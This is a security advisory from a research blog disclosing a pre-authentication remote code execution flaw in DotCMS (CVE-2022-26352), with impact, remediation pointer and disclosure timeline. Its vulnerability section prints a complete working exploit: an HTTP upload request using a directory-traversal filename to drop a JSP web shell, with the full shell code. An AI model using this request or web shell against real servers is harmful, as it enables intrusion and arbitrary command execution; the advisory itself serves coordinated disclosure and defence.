Back to Research blog

Advisory: DotCMS Remote Code Execution (CVE-2022-26352)

Share on social

May 3, 2022

Lorem ipsum

Table of Contents

Summary

A pre-auth remote code execution vulnerability was found in DotCMS which was achievable by performing a directory traversal attack during file upload. This vulnerability ultimately allows attacker to execute arbitrary commands on the underlying system.

This vulnerability is exploitable with the default configuration of DotCMS and was tested on version 22.01.

The CVE for this issue is CVE-2022-26352. The advisory from DotCMS can be found here.

Impact

An attacker can upload arbitrary files to the system. By uploading a JSP file to the tomcat’s root directory, it is possible to achieve code execution, leading to command execution. An attacker can ultimately execute arbitrary commands on the underlying system.

Affected Software

The vulnerability was confirmed on 22.01 and below. This vulnerability may also work on 22.02, however this has not been confirmed.

Product Description

dotCMS is an open source content management system written in Java for managing content and content driven sites and applications.

Solution

The remediation details provided from DotCMS’s advisory are satisfactory and will ensure that this vulnerabilty cannot be exploited.

The knowledge base article detailing the patches or workaround to apply can be found here.

Vulnerabilities

POST /api/content/ HTTP/1.1
Host: re.local:8443
User-Agent: curl/7.64.1
Accept: */*
Content-Length: 1162
Content-Type: multipart/form-data; boundary=------------------------aadc326f7ae3eac3
Connection: close

--------------------------aadc326f7ae3eac3
Content-Disposition: form-data; name="name"; filename="../../../../../../../../../srv/dotserver/tomcat-9.0.41/webapps/ROOT/html/js/dojo/a.jsp"
Content-Type: text/plain

<%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
Commands with JSP
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
   out.println("Command: " + request.getParameter("cmd") + "<BR>");
   Process p;
   if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){
       p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));
   }
   else{
       p = Runtime.getRuntime().exec(request.getParameter("cmd"));
   }
   OutputStream os = p.getOutputStream();
   InputStream in = p.getInputStream();
   DataInputStream dis = new DataInputStream(in);
   String disr = dis.readLine();
   while ( disr != null ) {
   out.println(disr);
   disr = dis.readLine();
   }
}
%>
</pre>
</BODY></HTML>
--------------------------aadc326f7ae3eac3--

Blog Post

The blog post detailing the steps taken for the discovery of this vulnerability can be found here.

Credits

Assetnote Security Research Team

Timeline

The timeline for this disclosure process can be found below:

  • Feb 21st, 2022: Disclosure of RCE to DotCMS
  • Mar 2nd, 2022: Initial response from DotCMS asking us about who will be filing the CVE
  • Mar 2nd, 2022: We responded asking DotCMS to file the CVE
  • Mar 31st, 2022: We asked if a CVE has been filed and for updates on the vulnerability
  • Mar 31st, 2022: Response from DotCMS providing details on fixes that have been deployed and progress
  • Apr 26th, 2022: We let DotCMS team know that we will be publishing the vulnerability as per our co-ordinated disclosure process
Shubham Shah

Author

Shubham Shah

Chief Security Research Officer at Searchlight Cyber

Shubham Shah is Chief Security Research Officer, having joined Searchlight Cyber following the acquisition of Assetnote, where he was Co-Founder and CTO. Shubham leads the global security research team whose findings feed directly into Searchlight Exposure – surfacing zero-day vulnerabilities in the tools organisations rely on, often months ahead of public disclosure. He remains a prolific bug bounty hunter ranked in the top 50 hackers on HackerOne, and has presented at various industry events including QCon London, Kiwicon, AusCert, BSides Canberra, and CrikeyCon.

Explore related Content

Research

Exploit brokers pay $500,000 for a WordPress RCE. I found one with GPT5.6 Sol Ultra and $25

July 20, 2026

Research

wp2shell: Pre Authentication RCE in WordPress Core

July 17, 2026

Research

Smashing the ServiceNow Sandbox – Pre Authentication RCE

July 14, 2026

Research

CargoWise WebTracker – The Keys Were in the Cargo

June 25, 2026

Research

Two Bypasses for Chrome's Sanitizer API

May 22, 2026

Research

Keys to the Kingdom: Anonymous SQL Injection in Drupal Core (CVE-2026-9082)

May 21, 2026